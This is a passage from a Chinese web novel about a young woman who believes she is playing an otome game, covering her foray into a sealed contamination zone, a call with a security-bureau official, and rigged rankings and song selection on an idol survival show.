“那他们鬼鬼祟祟的干嘛？这里不是官方机构吗？”朝晖问。
司机曾说过，要避开军方的人。
但堂而皇之地开车上大路，又十分大胆。
“我只是最底层的小人物，哪里知道这些。不过我听这里的警卫们聊过，似乎许多安全局的异能者会出现在这里。”
安全局？
朝晖不禁想起宴会事件，安全局姗姗来迟的举动。
虽然明面上，那是由于他们临时遭遇了其他事件，导致警力分散，实际上想要刺杀殷姬二人的幕后黑手并不一定与安全局有关。
但朝晖的想法是，线索这么明显，加上这次npc分享的内容，那不是百分之百说明安全局肯定有问题吗？
偷偷摸摸搞了个关押被污染异能者的地方，哼，一看心里就有鬼！
一个乙女游戏，还能搞得跟解谜游戏一样，层层叠叠，虚虚实实，把人绕晕不成？
安全局绝对有大坏蛋，没跑了！
系统：……
它忍不住道：“和白皇后作对的人也不一定就是大坏蛋啊！”
“我哪知道谁是大坏蛋呢，你为什么还不发任务？”朝晖理直气壮。
系统发誓它再也不会多说一句话。
为什么不发任务？
因为乙女游戏的设定当中，根本就没有这里的剧情线好不好！
这个“基地”的设定，也只是为了给男主卫文谨提供一个合理的身世来历罢了！
在《逐梦演艺圈》的剧情当中，玩家本来根本就不会离开洛川市，压根别提跑到“封锁区”这种只存在于背景设定当中的地区了。
它的数据库内压根就没有
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这样的内容，怎么发任务？
朝晖已经脱轨太多，她走出了自己的一条路，系统无法通过任务提供给她额外的帮助。
按照它的想法，没有任务也是一件好事，玩家应该很快就会对此失去兴趣。
“没任务啊……好吧。”
朝晖见试探不出什么，困在蜂巢之内又无事可做，且那名npc再也榨不出什么剧情对话后，就选择了读档。
她回到了与李长庚蹲在路边，劫车之前的时间点。
这趟封锁区之旅，可谓雷声大，雨点小。
在她的想法中，污染物应当是一种与丧尸很相似的怪物，一旦离开受到保护的“主城”，肯定遍地都是啊！
没想到封锁区内一片荒凉，别说污染物了，连根毛都看不见。
它们似乎并没有那么危险，普通的热武器就可以对付。很显然，外围都被清理干净了。
人们追逐的宝物，是深入封锁区之后，或许能寻找到的“污染物的源头”。
什么东西能让人趋之若鹜？
“无非钱权二字。”朝晖想，“再就是异能呗。”
“叮！您触发了支线任务【污染物的秘密】。”
【污染物的秘密：
污染物是洛川人的心头大患，也是生物研究迈不过的一道坎。
污染物可以以晶石为食，也受到强大异能者的吸引。
污染物更容易侵蚀异能者，普通人反而拥有更强的抵抗能力。但对于强大的污染物，甚至污染物之源头，没有人能够抵抗。
饱含异能能量的物品可以污染一个人。
那么，污染物的秘密到底是什么？】
“啊这……”
朝晖挠挠头，“万物之源头？以太物质？难道是核辐射？核辐射把人照变异了，变成异能者啦？”
“……”
系统怒号：“你为什么那么快就猜出来了？这样显得我们游戏策划精心设计的黑暗背景很没有悬念好不好！？”
“咦？真是核辐射吗？那污染物的源头肯定就是核废料，甚至于某种依旧能被利用的核能源咯？”朝晖说，“现在是未来世界，全球石油资源告急，难不成核原料也告急了？所以以前由于核辐射而被废弃的资源和领地，都不得不想办法去取回？”
封锁区范围之大，超乎想象，或许以前这里爆发过核战争。
当然了，所谓异能和污染物之源不等同于核辐射，后者还没那么玄幻———这应当只是异能的设计灵感来源罢了。
毕竟，“污染”不止是对于□□，还有对于精神的侵蚀。
既然如此，异能似乎并不是什么好东西啊？
“叮！任务完成！您获得了奖励：抗污染点数x1。”
【抗污染点数：
每人最多可以拥有二十点抗污染点数。
拥有它的人能够增强抵抗力。】
描述很笼统……可恶的文案策划，我一定要让你们全部打回重写！
朝晖“刷刷刷”填写好投诉反馈，交给系统上报。
系统：“……”
其实这是它们主系统刚刚捏出来的描述……
它还能怎么办，主系统说，对待朝晖，安抚为上，一定要稳住她，不能让她察觉异样。
如果主线剧情困不住她，那它们……就跟在她后面编。
她遇到什么事情，就编出什么样的支线来给她做！
不管如何，尽量将她向主线任务的方向上去引。
她，还不知道自己并不是在一款游戏里。
万一她察觉到不对，问题才会更严重。
所以系统发出了一贯机械的声音：“亲爱的玩家，您的投诉已经成功提交，我们会酌情采纳尽快处理……”
69.寰天娱乐（25）
系统的目的达成了，朝晖出去转了一圈，发现事情并不像自己想象的那么美好，杀污染物看似奖励丰厚，却不是一件简单的事。
不是她打不过，而是找不到怪呀！
左看右看，目前似乎还是呆在拍摄场地刷经验比较好。
“是不是剧情还没到那一步呢？”朝晖心想，“也许主线这边再走一走，外面就会爆发核泄露啊，公司互斗啊，总之污染物什么的纷纷跑出来，到时候再去杀就会更容易。”
“但我觉得你们还是要注意玩家这方面的需求，也有很多玩家就是喜欢战斗嘛！前期也可以多多地加入这样的任务呀？尤其是游戏的真实度那么高，战斗起来也特别的爽啊！”
“……已为您提交您的建议。”
回到经纪人家里，购买的家用治疗仪已经到货，在为伊尔莎治疗。
朝晖心想，这可能是某种抵抗辐射的治疗仪器。
如果异能真的与辐射有关，那她还应该让伊尔莎去使用吗？
她看了一眼自己的【抗污染点数】。
她自己并不会受到污染影响，最多掉血而已，所以这个点数，比起她，不如给小妹小弟们使用。
如果给卫文谨加满20点，他的异能会不会消失？
“算了吧，我还有用得上异能的时候。”朝晖很没良心地想着。
npc嘛，先用着，大不了他们要是生病了，她再想办法治疗呗！
朝晖指使经纪人帮伊尔莎把班翘了，让小李送她回训练营，在路上给姜遥打了个电话。
“喂，什么事？”
姜遥的声音十分疲惫。
殷姬二人宴会事件才过去一天，那俩可都不是好惹的主，一股脑给安全局施压。
安全局局长神龙不见首尾，姜副局长不得不扛起压力，熬夜加班，总算是应付过去。
她怎么有一种错觉，就是自从遇到朝晖之后，自己就变得越来越忙了呢？
而且让她忙碌的事情，又总跟朝晖有那么点关联！
朝晖兴致勃勃地问：“姐，是这样的，你们安全局有没有秘密扶持什么势力，用被污染的异能者做一些不符合社会主义核心价值观的实验啊？”
姜遥：“……”
姜遥：“……你认真的吗？”
“哦？你不知道吗？”朝晖点点头，“那你们是不是跟白皇后她们不对付啊？所以想要刺杀她们？”
“停！不要在电话里随随便便乱讲话啊！！我是安全局副局长！！怎么可能会去做这样的事！！”姜遥怒吼。
本来她还挺累的，朝晖这家伙却瞬间就让她精神紧绷起来。
手边喝到一半的咖啡都放下了，额头青筋直跳。
系统悲愤地想着，提神醒脑的功效如此立竿见影，这何尝不是一种“小太阳女主”呢？
朝晖虽然投靠了白皇后，却依旧把姜遥当作自己的顶头上司之一。
对于玩家来说，加入好几个势力获得庇护，不是常规操作嘛！
当然了，虽然把她们当老大，实际上，在她看来，老大就是阵营领袖，类似希尔瓦x斯、吉x娜*，不过就是给自己发高级任务的npc罢了，说不定未来还会进本变成boss（？）。
对于老大，实在没什么好隐瞒的，所以她一五一十地把自己在封锁区的见闻告诉了姜遥。
“……你被抓进去之后是怎么跑出来的？”姜遥立刻发现了不对。
跑出来？
那是上个存档的事情，和现在有什么关联？
“我读档了啊！”朝晖说。
“……”
姜遥深刻认识到，问朝晖问题是一种只会让自己头疼并且毫无用处的事。
她在脑中强行为朝晖解释：大概，朝晖是以前见过类似的人，或者有什么知道情报的人告诉了她吧！
据说，有一种精神病症状就会模糊时间观念，让患者分不清过去和现在发生的事，姜遥有理由相信朝晖很有可能患有这种疾病。
“没有的事。”姜遥用一种哄小孩般的语气回答，“你不是在录节目吗？不用操心这些事情，好好录，到时候等你顺利录完，再来安全局培训。你不是要练枪吗？”
“哦……”朝晖很失望，“那，姐，为什么封锁区都没有什么污染物啊？如果我想杀污染物该去哪里？只能一直深入吗？”
“……你为什么想杀污染物？”
“为了奖励！”朝晖说。
奖励？
杀污染物能有什么奖励？
“能源，经验，钱……”朝晖掰手指，“还有抗污染点数。”
“抗污染叉叉？”
姜遥听得一知半解。
不过由于朝晖拥有“能略微让人更相信她的话”的特效，姜遥最终非常强行地自我洗脑一番，总结为：虽然不知道为什么，但朝晖就是很想杀死污染物，保护人民安全，防止污染发生。
她犹豫着透露：“其实污染物早就被清理得差不多了，毕竟封锁区外围区域经常有人出入。”
“嗯嗯。”
“我们安全局就会组织专门的队伍猎杀污染物，它们大都在封锁区深处出没，十分危险。”姜遥解释：“在那种地方，由于强辐射干扰，电子产品起不到太大的作用，普通人十死无生，因为他们没有检测手段，来不及使用武器就很容易被杀死。所以只能让异能者冒着被污染的风险进入。”
朝晖疑惑：“既然外围都没有污染物了，也不会危害到民众安全，难道你们安全局组织人进去也是为了什么‘宝物’？”
姜遥知道“宝物”的传闻在封锁区广为流传，所以也并没有惊讶她所说的话。
“那只是次要原因，主要原因还是，污染物会被孕育着不停地产生，我们要保证它们不往外扩散。”姜遥解释，“所谓宝物，其实也就是晶石，只不过，是非常高单位的晶石。”
其实朝晖也猜到了，晶石就是能源，更高单位的晶石非常珍贵，可以用来制作某些强大的武器。
“所以晶石就是污染物的源头咯？它们会产生辐射对吧。”
“只有1000单位以上的晶石，产生的辐射才会危害到普通人。”姜遥点点头，“异能者……大概200单位就会有反应了。高等级的异能者与高单位晶石、强大污染物之间，都会产生感应。”
“哦……”朝晖点点头，这验证了她的猜测。
也就是说，异能者相当于被辐射变异之后，对于污染的抵抗力反而下降了。
至于污染物是什么，从那个掉san的大蜘蛛以及它上面的各种挥舞
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的肢体来看，大概率原材料（？）便是动物或者人类尸体。
姜遥把这些知识告诉了朝晖，本来是想劝退她，让她不要把自己置于险地。
结果朝晖问：“我该怎么加入你们的队伍？”
“……你不能加入，至少现在不能。只有经过训练的专门队伍才能作为安全局部队进入封锁区深处……”
“哦，那能给我张地图吗？封锁区那么大，我自己找不到位置啊！”
“那是绝密文件！！”
“好吧……”朝晖很失望。
眼看训练营也快到了，她觉得自己想问的东西也差不多了，便道：“我知道了，那我会自己想办法找到那里的。”
“……你给我等等！！”
姜遥声若洪钟地喊了一句。
“你怎么自己去？”
“就在里面找呗。”朝晖的声音听起来是那么的自信。
在里面找？
她到底知不知道封锁区有多大啊！
自从核战争之后，大陆一大半地域沦为废土……
姜遥觉得她不可能找到，但心里又特别没底，害怕朝晖惹事。
万一她真的找到了呢？
万一她又搞出什么大事呢！？
朝晖现在可还是挂在安全局名下的异能者。在娱乐圈里搞事，她还能帮忙摆平。要是在封锁区搞出什么大事来，丢的不还是姜局长的脸吗……
姜遥额头上的青筋，不知为何就开始狂跳。
“你跟着我们一起去吧，嗯，下一次大概就是两周后。我……帮你申请个特殊证明。”
“好啊好啊，申两个吧，我还有个小弟也去。”
朝晖立刻喜笑颜开，其变脸之迅速，让认真开车的李长庚都无语了。
带着小弟，一个原因是经纪人的异能太不持久，没有回血药的话很容易断档。
而且，两周后正好满月就要来了，据小弟所说，他那段时间会一直有类似“狂暴”的症状，不得不自己偷偷跑到封锁区外围的空地上，度过这段难捱的日子。
这孩子，每个月都要狂暴那么几天，怪不得找不到正经工作，只能打零工。
资本家哪里会给他放假？
既然她在，那就顺便一起把小弟带过去，有她看着他也会安全一些。
“你还带人！？”
姜遥怒嚎：“这又不是春游！”
“我带的是一个S级异能者，很厉害的，不过他已经是我的员工了，不能加入你们。”朝晖说。
“你说多少级？”姜遥一惊。
能评为S级的异能者，绝非等闲之辈，数量也不是特别多。
姜遥作为洛川市安全局副局长，叫得上名字的S级异能者，也就那么十几个罢了。
不是，你到底是从哪里认识的啊？
“S级啊。好了，就这么定啦。”
她快乐地挂掉电话，浑然不搭理焦头烂额的姜遥，此时车也即将抵达训练营。
她还需要继续刷经验刷等级，以获取天赋点。现在她只能复制75%的异能，如果跟原版对打，肯定会落于下风。
这两周就用来刷经验，等她获得了天赋点，给【偷盗之手】继续加强，再去封锁区获取足够的能源，就可以继续制作新武器啦！
70.寰天娱乐（26）
回到训练营后，朝晖本打算径直去练习室刷她的熟练度和经验值，却没想到中途被人叫住。
来者是一个不认识的糊糊练习生，说“诸华清”请她去隔壁练习室一趟，朝晖本想无视她，忽然看到走廊上猫猫室友走过来。
“朝晖！”裴韫连忙跑过来，“你回来的这么早？”
自从杨帆挂掉，云端能源出事后，裴韫整个人都开朗了不少。
不管别人怎么看，反正她就决定当朝晖的跟屁虫了，有什么和朝晖有关的情报、消息，她也会想着多去探听。
“诶，猫猫。”朝晖挠挠头，“我回来得很早吗？”
“嗯嗯，今天的录制不是取消了吗？我以为你会晚点回来。”
裴韫凑近她，小声说：“盛绫儿她在隔壁哭呢，听说好像是跟你有关的事情。”
在朝晖出去浪的这大半天，裴韫已经知道了网上的风风雨雨，对于那些辱骂朝晖的人，她觉得很气愤。
但看见朝晖一如既往的样子，她又觉得似乎没必要说这件事。之前的愤怒和无奈，仿佛也都一扫而空。
反正，朝晖不在乎！
那她又何必在乎？
“盛绫儿？谁啊？”
朝晖的问题果然和常人不同。
“……就是，呃，小红。”裴韫已掌握与朝晖沟通的技巧。
朝晖记得小红，是个很漂亮的npc，性格好像有点凶巴巴的。
二人目光转向那个糊糊练习生，这家伙怯生生的，谁也不敢得罪，忙道：“是，是的，诸华清姐姐说如果看到朝姐回来了，就拜托她去一趟隔壁，只是商量关于一公演出的事情。”
“诸华清又是谁？”
裴韫只好再次解释：“就是跟小红一起的那个漂亮女生……你们现在是同公司的……”
“哦！”
朝晖恍然大悟，是寰天文化的人！
这狗公司，说起来朝晖就烦。
烦的不是它狗（没有嘲讽犬科动物的意思），烦的主要是她暂时没找到一个好的突破口去干掉这个公司。
小红她们……也许她可以从她们口中套取一些情报？
“那去看看吧。”朝晖说着，已经大步流星走起来。
糊糊练习生和裴韫都一脸懵，她们还以为朝晖不会去呢！
连忙跟上她。
推开练习室的门，没见到人，糊糊连忙带着她们从另一个门出去，来到拐角处的楼梯间。
果然听见隐隐抽泣声传来，几个女生围着一个红发妹妹，正是寰天五人组。
糊糊练习生见状赶紧溜走，害怕见到什么不该见的场景。
“诶，那个，是朝晖啊，回来这么早？”诸华清抬起头。
朝晖大摇大摆走过去，低下头把脑袋往小红旁边一搁。
“咋哭了？诶，是不是寰天文化里面有人欺负你了？你告诉我，我帮你吖！”
其他人：……
“你……嗝……滚啊……”
盛绫儿正情绪上头，本来在其他几人的安慰下，哭得没那么惨了，现在被朝晖这话一说，气得打了个嗝。
这嗝一打，就停不下来了！
盛绫人顿觉丢人，恨不得把头埋进地里，她觉得朝晖太烦了，都怪她，她才会打嗝！！
诸华清眼前一黑。
公司委派她调停盛绫儿与朝晖的关系，然而她心中只觉非常无力。
这项工作，真的是减寿啊！
自从节目开播以来，她的头发都被薅掉不少。
没办法，她只能小心拉着朝晖走到一边，暂时与盛绫儿分开。
“朝晖，公司有一件事情，我想跟你说一下。”
“什么事？”
“是这样的……”
原来，寰天文化的打算是让诸盛二人组确保出道位的同时，再让一名寰天的练习生出道。
但他们签下朝晖之后，以目前的情况来看，只要朝晖没有捅出什么足以让她退赛的大篓子，那么她肯定是可以出道的。
寰天当然很乐意，于是他们一直在争取，希望寰天能霸占总决赛九个出道名额当中的四个席位！
说实话，寰天五人组实力和颜值都相当不错，目前人气也都处于上位圈，要是保持着这样的情况下去，最终只靠观众投票，说不定就能达成这样的结果。
但节目组、其他公司可就不乐意了！
出道位意味着曝光量、意味着资源，也意味着各家公司的造星能力。
现在《星光训练营》这么火，吸引了大量新关注，谁又不想在这块大饼上撕下一块呢？
彼此之间就开始撕起来，撕来撕去，节目组让步了，表示：你们寰天最多只能拿三个席位，但是作为补偿，可以拿到前三中的两名。
至于最后一个，只能是第八名或第九名。
这也是寰天想要的，前三占二，分量比四个下位圈更重。
于是，在节目开播短短几周，连一公舞台都还没开始的时候，最终席位和名次都已经被安排得七七八八了。
不出意外的话，那个只能第八或者第九的倒霉蛋就是盛绫儿。
虽然她唱跳能力很不错，但外型和性格特点注定她不如诸华清那样符合大众审美。
“真就全内定啊！”朝晖目瞪口呆，“我以为他们最多就在决赛的时候做做票什么的。”
对于大公司来说，最终席位就像一块被分配的蛋糕。
想让谁排名靠前，只要多给她镜头，多给她机会，安排好的剧情线等等……有了优质份量，又怎么能不吸引人气呢？
很偶尔的情况下，会有小公司出身的紫微星，那么大公司的选择是立刻想办法签下这名练习生，小公司一般都无力反抗。
譬如朝晖。
“嗯……大概就是这样。你的绯闻反而增加了商业价值。你的经纪人没跟你说吗？”诸华清疑惑。
“没有啊。”朝晖觉得经纪人真是太不负责任了。
卫文谨要是能听见她的想法，恐怕一口老血立刻就会喷出来。
他不说，是因为被朝晖折腾来折腾去，满脑子都是封锁区、污染物、异能者、朝晖的特殊能力……
都到那种严肃的时刻了，什么娱乐圈绯闻、坐票内定之流，对朝晖完全就是无关紧要的事好不好！
果然朝晖也不是很在乎，只是有点不爽。
“这是什么意思，系统，保玩家一定能出道的机制吗？”朝晖质问系统，“但这样会显得我的努力很没有成就感啊！！”
“……呃，我们的游戏中并没有类似机制，您能获得这样的名额，是您个人努力的结果……”系统强行解释。
该说不说，朝晖是挺努力的，就是努力的方向有点歪。
被她完全无视的诸华清：“……”
就知道会这样！
但没办法，诸华清的经纪人不停地劝她，希望她负担起“调停者”的责任。
也许有些人会觉得盛绫儿无理取闹，甚至指责她：你也是既得利益者，那些被你们内定名额挤出去的人，才是真正值得可怜的！
鳄鱼的眼泪，实在无趣。
但诸华清却能够理解，为什么盛绫儿情绪崩溃。
盛绫儿还抱着“努力了就会有好结果”的天真心态，她认为凭她的努力，哪怕是在完全公平的竞争环境中，也应该能获得不错的名次。
所以在梦被打破时，在知道自己不论怎么做，都最多只能拿到“第八第九”这样的名次时，她的心态就崩了。
她甚至为了留在寰天这样的大公司，被公司半哄半骗，去陪一些恶心的“大老板”吃饭喝酒。
当时经纪人威胁她：“这个圈子里像你这样的人太多了，漂亮和有天赋的女孩比比皆是，但走到最后红遍洛川的却没几个。不抓住这样的机会，你一辈子也只能碌碌无为！”
她都付出这么多了，公司都承诺让她高位出道了！
就因为朝晖！
无法发泄在公司身上的怒气，只能全部转移到朝晖头上。
盛绫儿嗝还
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没打完，又开始狂骂朝晖，无非是你凭什么运气那么好云云。
“可是这个世界本来就不是公平的。”朝晖也不生气，“诶，不如你告诉我是谁威胁你啊，你的经纪人，还有不？”
“要是你能弄到一些实质性的证据交给我，我就帮你把他们都干掉，就算没有支线任务……也不是不行。”朝晖说。
“？”
诸华清没明白朝晖的意思，却敏感地察觉到她看似随便的语气之下，隐藏着的……杀气？
盛绫儿的脑回路却很奇特：“看不出来……嗝，你还挺好心？把我们的经纪人……嗝……扳倒，让你和你的经纪人上位？”
嚯！
这就是典型的井底之蛙，眼里只有公司那么大点的地方。
由于她是边打嗝边说出了这番话，朝晖不仅没觉得冒犯，还觉得有点搞笑。
于是她就笑了！
笑了！！
盛绫儿差点没晕过去。
“好了好了，朝晖，那个，其实我拜托你过来主要是想和你商量一下。一公选曲，我们三个尽量不要选择一样的曲目。我们是前三名，拥有优先选曲的权利，你现在是第三名，你先看看你喜欢哪首？我们可以避开。”
诸华清只好硬着头皮上去，说出此番主要的目的。
一公舞台选曲一共有12首曲子，每组7-9人不等。都是翻跳前辈的歌曲，好听、利于表现的曲子自然更受欢迎。
曲目分为vocal、舞蹈两个大类，vocal组的曲目偏舒缓，能展示唱功；舞蹈组的曲目更快节奏，能展示舞艺。
但有经验的人肯定都知道，快节奏的、更“燃”的曲子其实更适合舞台表演，所以说虽然诸华清更擅长唱歌，她们却都打算选舞蹈组的曲子。
而每首歌就只有一个c位，能获得最佳表现机会。排位靠前的选手们获得优先选曲权时，除非真的有特别喜欢的歌，一般都会默契地错开。
但朝晖能有这默契吗？
于是诸华清只好提前请她来沟通交流。
“我？我随便吧……”
朝晖连那十二首歌是哪些都不清楚呢！
她把目光转向裴韫：“你觉得哪首比较好？”
“我……？”
裴韫一根手指头指着自己，满脸不敢置信。
“对啊，你选一个呗。”
她的态度之理所当然，仿佛根本没有假想过不和裴韫一组的情形。
这下，诸华清也把目光转向裴韫。
裴韫心想，这是默认我们会在一组吗？
她有些紧张，又有些说不清道不明的兴奋。
她确实有一首很喜欢的歌曲，她目前的排名在二十名左右，想选到这首歌，可能性还是很大的。当然，能得到这个名次，还是托朝晖的福呢。
但这首歌能得到她的喜欢，自然也有其优点，如果排名靠前的人气选手有3、4名都选到同一首，那么舞台人气就会被大量分流，她也不会得到很好的位置和镜头量。
但是假如和朝晖一组，不知为什么，她心中就有一种安定感。
没镜头就没镜头吧！那些事都无所谓了！
“就选这首吧。”裴韫说出那首歌的名字。
诸华清看了她一眼，点点头：“这首很好听，表演的好会很出彩的，加油。”
“好，好的。”
“嗯，我记住了。”朝晖说，“对了，小猪，记得考虑一下我的话哦，如果有证据可以发给我，或者名单什么的也行。”
“……证据？”
诸华清想起她说的那些话，愣住半刻，随后才反应过来：“小诸？”
“你不是姓猪吗？还挺独特的嘞。”朝晖挥挥手，“好了我去练习了，拜拜。”
我是姓诸，但你这么叫真的很奇怪啊！
会让人产生奇怪的同音联想好不好！
话说她是不是还要谢谢她记住了自己的名字？
朝晖飞快地飘走了，诸华清只觉得自己的头特别的疼。
71.寰天娱乐（27）
朝晖就这样勤勤恳恳地练习了一整晚。
这个一整晚，是指从她回来的下午一直到第二天早上五点，完后她去象征性睡了两个小时，就又精神抖擞地回到了练习室。
本来还对她的八卦感到情绪复杂的诸多练习生们，心态忽然就再次佛系了起来。
看，这些事有影响到朝晖哪怕一分一毫吗？
没有！
她们还以为，昨天下午朝晖“翘班”，是被公司抓去处理公关事宜了呢。
再是心脏强大的人，被网络上那么多人用恶毒的语言辱骂，不说心态大崩，但总得调理那么几天吧？
可人家朝晖，仿佛无事发生一般，你骂任你骂，我自练习室。
如此强大的内核，如此稳定的心态，忽然就触动到了某些练习生。
她们一开始或许是抱着吃瓜看乐的心态，可现在，偷偷蹲在厕所隔间里刷手机的时候，时不时就能听见隔壁间的姐妹小声嘟囔：“骂得太过分了吧？”
“就是啊，还p鬼图，造黄谣……”
“那家的粉丝……你们懂得，很多都这样。”
“朝晖是什么样的人，我们还能不知道！？”
发出以上义愤填膺之言论的女人，乃隔壁403的卷毛狗妹子周小满。
周小满怒道：“朝晖和pd之间，要是真有点什么，我就把这个马桶吃了！”
“倒也不必如此！”她室友忙拉住她。
几个姐妹蹲在同一间厕所坑旁，昏暗中唯有手机屏幕的灯光照亮她们的脸，“但说实话，我觉得pd发的那段话还挺可信的……”
余烬说，他是担心朝晖安全，遂主动驾车把她捎回来。这事儿，放在任何一个年轻美貌的女孩身上，似乎都会免不了一丝若有若无的暧昧。
可朝晖……那家伙，万一不带着她，她搞事情咋办？
余烬都不一定管得住她呢！
“就是啊……真要谈恋爱，反而才不会那么明目张胆吧。”
另一间也传来小声议论，采取了反证法进行论述。
这个说法得到了大家一致认同，觉得余烬那种混圈多年、又正值生涯巅峰的艺人，应当不会那么蠢。
当她们看见第二天早晨朝晖那神采奕奕、丝毫没有憔悴神色的脸蛋，心中，被压抑许久的热血竟然澎湃了起来（？）。
像她这样的人，果然才能在娱乐圈混得久啊！
一时间，一种奇特的力量将她们联系起来，莫名地好像就站在了那些不明真相、网暴朝晖之人的对立面。
唯有自我的强大，才能对抗外界风雨！
于是导演组们来巡查今日练习生状态时，就发现大家跟打了鸡血一样勤奋地在练习室练习着。
朝晖依旧独占最小的练习室，裴韫作为小妹在里面沾光；剩下人的，则十分和谐地瓜分了剩余练习室的空间，各自锻炼着基础唱跳能力，脸上满是勤劳的汗水。
就连昨天大哭一场的盛绫儿，此刻也已恢复了平静，带着她一贯的如花孔雀般自信不屑的眼神努力练习，眼下一点肿胀和青色被精致的妆容遮挡得严严实实，丝毫无损她美丽的形象。
努力，太努力了！
总导演是有喜有忧。
喜的是，大家这么团结地练习，最终就可以剪辑出十分感人的团魂。
努力和勤奋总是值得认可的美好品质，这也能帮助练习生们吸引粉丝。
忧的是，现在大众眼中，《星光训练营》已然成为drama的代名词。可如此团结的场景，想drama也drama不起来啊……
想到这，他眼神一转，目光紧紧锁定了那个女人。
朝晖！
想到朝晖，他的心顿时又如同一半泡在热水，一半泡在冰水。
有她在，戏剧性总是少不了。可万一她没收住，他也是心惊胆战啊……
抱着这样的心情，他也是终于宣布，下午就会开始延迟一天的“一公选曲”内容。
选曲完，就是各个小组各自练习、上台表演。
这次一公舞台，会通过抽选的方式邀请观众，并让观众现场投票。每名观众在每首歌曲的表演组当中，只能投出一票，所以说每个小组的竞争对手并不是其他小组，而是本小组内的其他成员。
这是一个比较攻心的赛制，时不时就会出现各种选手撕x、本性暴露的冥场面，因此广受欢迎———观众就爱看乐子嘛。
然而现场投票并不算什么，一公结束后的第一次公开投票，面向所有观众，它才是决定选手名次的重头戏。
每个小组的前两名可以各自加上一定票数，以获得优势；除此之外，获得票数比较多的一般也是表现较好、part较多的选手，本身票数就不会低。
因此，一公选曲的学问还是比较深的，可不能喜欢哪首就选哪首。
选曲顺序是根据最开始的投票排名来定的，第一个是诸华清，第二个是盛绫儿，第三个是朝晖。
诸华清与盛绫儿果然都没有选昨天裴韫喜欢的那首歌，镜头一扫，台下不乏疑惑不解的练习生。
那首歌不仅好听、舞蹈动作漂亮，还是某位前辈的爆款歌曲，可以说开局自带热度。
她们还以为，擅长舞蹈的盛绫儿会选择那首歌曲。
“好的，下一位由朝晖来选择！”
余烬同志脸上的表情正直得像是要入dang，用一种坚定之中带着鼓励的慈爱眼神看了一眼朝晖。
任谁看了，都说不出他们之间有任何不正当关系！
殊不知，其实他和导演们背后都冷汗直流。
倒是练习生们，此刻却有种看热闹的感觉。
她们也发现了，朝晖真搞事的话，似乎并不会搞到选手的头上，那都是冲着倒霉的节目组去的。
她们反而借朝晖引来的热度，各自吸引了不少关注度呢。
除了少数选手会私下阴暗爬行嫉妒一下，其她人已经逐渐松弛，反而颇为期待：
朝晖今天又要搞什么事呢？
结果朝晖老老实实走上台：“我选xxx。”
也就是那首很火爆的、裴韫选择的歌。
“哦？你怎么会想要选择这首偏舞蹈的曲子？”歌坛天后和颜悦色地走流程问道，“我觉得你的vocal实力很不错呀。”
“！”
听见此问题，裴韫的冷汗一下子就飞流直下三千尺。
然而人越不想看到什么，就越会发生什么。
“哦，因为猫猫说喜欢这首啊。”朝晖果然不说谎，特别诚实特别真挚地回答。
“猫猫？”
rap导师理解错了方向，试图把自己当作朝晖那样“精神不正常的人”，特别费解地搭话，“咱们这附近还有小猫吗？”
朝晖摇摇头：“不是啊，是我室友。”
话音刚落
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，手指定定指向观众席上满头大汗的裴韫。
虽然，虽然她其实还挺感动的啦……但是……怎么说呢……
莫名就有种蛊惑君王的感觉是怎么回事啊！
“喔～！？”
围观群众纷纷望来，恍然大悟有之，疑惑不解有之，羡慕嫉妒有之。
诸华清好悬没一头栽倒。
不是，你怎么还无师自通了卖姬技能呢？
万一她和小红的“红白玫瑰”cp组，到时候被朝晖裴韫的“朝云”cp超了过去，不敢想象小红会有多破防……
不对不是小红是绫儿……
众人五味杂陈，导演脸色也是青一阵白一阵，万万没想到朝晖会这样说。
他的担心和诸华清如出一辙。
但也……好像不是不行？
大热cp当然是越多越好嘛。
随后，其他选手也纷纷选了自己的歌曲。
奇怪的是，有好几名前二十的选手，既没有选诸盛二人的小组，蹭蹭她们的光辉；也没有“自立门户”，单独选一首去独挑大梁，争取拿到最多的关注度。
她们选择了朝晖小组。
包括裴韫和朝晖在内，这个小组最终的七名成员，竟有五名来自前二十。
可谓是星光熠熠。
“她们是觉得自己能蹭到朝晖的人气吗？”有人不解。
之前朝晖带组出演《霹雳雨》，确实吸引了一大波关注，导致她们小组成员都不同程度涨了不少粉丝。
可那是整活，这可是正式演出诶……
万一朝晖在正式演出上还整烂活，观众们或许会哈哈大笑，但她们这些组员，说不定就不能展现出自己的魅力，最终沦为陪衬，吸不到粉丝。
然而那选择朝晖的三名选手，却并不是这么想的。
当所有人选曲完成，七人小组齐聚练习室，她们都用一种特别期待的目光看着朝晖。
“我们都知道，你的实力其实很好。你要来做c位吗？”
“当然！”朝晖挺胸抬头。
于是别组可能要讨论半天，甚至还会有人搞花活、撕破脸的选c环节，就这样一秒完成。
剩下的大家其乐融融地讨论一会儿，也是十分和谐地选好了各自的位置。
这三个人，其中一个比较擅长vocal，就把后面的bridge部分分给了她。
另外两个也都比较擅长跳舞，还有两个靠后的自知晋级无望的选手，各自安排安排，也就把歌曲前面的部分瓜分了。
裴韫现在是朝晖“头号小妹”，舞蹈实力也很不错，就拿到了一段dance break，以及副歌的一部分。
对于她来说，这简直就是天上掉馅饼，给了她极大的展示舞台。
“我们一定可以把这首歌练好！”
“加油！”
六个人其乐融融，然后各自小心翼翼地瞄了朝晖一眼。
那表情，一看就是示意老大来一段演讲，朝晖便恭敬不如从命了。
“嗯，没错，看来我的组员都很不错嘛！作为玩家，不拿到第一名怎么能对得起我的身份？事不宜迟，现在就开始练习吧！
朝晖叉着腰站起来，在更新的主线任务界面选择【开始练习一公歌曲】。
三分钟后，其他六人的下巴掉在了地上。
“你，你才看了一遍就把舞蹈全记下来了！？！！”
72.寰天娱乐（28）
很多人都认为，朝晖的不稳定性会让她的表演虽有实力，却最终只会沦为“整活素材”。
然而……之前的表演，都有一定原创性。
看着主线任务上“认真完成一公曲目的排练和表演”内容，朝晖认为，这些排练过程就和“练习”一样，类似于系统自动托管身体的走过场动画，只要“勤加练习”，把“熟练度”刷上去就好。
毕竟，一公曲目的舞蹈和歌曲都是确定的，并不能自己改编。
因此，朝晖导入曲目后，便马不停蹄开始练习。
熟练度+1，+1，+1……
第二天，也就是本周三，各位导师就会来轮流指导每个小组的练习。
当舞蹈导师来到朝晖小组，其他六人还在努力地对着平板电脑扒舞。
本来她们想跟着朝晖学，可朝晖她能把一首歌完整地跳完，不代表她每个动作都能单独跳呀！
她根本就不会跳，那是系统托管的！
于是朝晖就说：“我不会。”
“……我们一起扒舞吧，我学起来很快的，还是不要影响朝晖练习了。”裴韫忙说。
自从上次在“霹雳雨”小组被迫担任类似组长的职责，现在的她，也能有模有样地指挥两句。
“好啊。”大家纷纷道，对朝晖的态度也习以为常。
朝晖，就如同核/武器，不需要使用，只需要放在那里，大家就能保持和平。
